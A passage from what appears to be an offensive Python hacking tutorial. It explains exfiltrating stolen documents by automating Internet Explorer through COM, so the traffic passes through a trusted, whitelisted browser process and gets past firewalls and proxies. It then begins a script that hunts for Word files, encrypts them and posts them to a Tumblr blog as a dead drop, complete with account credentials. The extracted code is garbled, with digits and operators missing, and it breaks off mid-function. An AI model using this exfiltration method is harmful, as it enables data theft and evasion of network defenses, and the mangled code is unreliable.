gaining access to target network is only part of the battle to make use of your accessyou want to be able to exfiltrate documentsspreadsheetsor other bits of data off the target system depending on the defense mechanisms in placethis last part of your attack can prove to be tricky there might be local or remote systems (or combination of boththat work to validate processes opening remote connectionsas well as whether those processes should be able to send information or initiate connections outside of the internal network fellow canadian security researcherkarim nathoopointed out that ie com automation has the wonderful benefit of using the iexplore exe processwhich is typically trusted and whitelistedto exfiltrate information out of network we'll create python script that will first hunt for microsoft word documents on the local filesystem when document is encounteredthe script will encrypt it using public key cryptography [ after the document is encryptedwe'll automate the process of posting the encrypted document to blog on tumblr com this will enable us to dead-drop the document and retrieve it when we want to without anyone else being able to decrypt it by using trusted site like tumblrwe should also be able to bypass any blacklisting that firewall or proxy may havewhich might otherwise prevent us from just sending the document to an ip address or web server that we control let' start by putting some supporting functions into our exfiltration script open up ie_exfil py and enter the following codeimport win com client import os import fnmatch import time import random import zlib from crypto publickey import rsa from crypto cipher import pkcs _oaep doc_type username password doc"jms@bughunter ca"justinbhp public_key "def wait_for_browser(browser)wait for the browser to finish loading page while browser readystate ! and browser readystate !"complete"time sleep( return we are only creating our importsthe document types that we will search forour tumblr username and passwordand placeholder for our public keywhich we'll generate later on now let' add our encryption routines so that we can encrypt the filename and file contents def encrypt_string(plaintext)chunk_size print "compressing% byteslen(plaintextplaintext zlib compress(plaintextprint "encrypting % byteslen(plaintextrsakey rsa importkey(public_keyrsakey pkcs _oaep new(rsakeyencrypted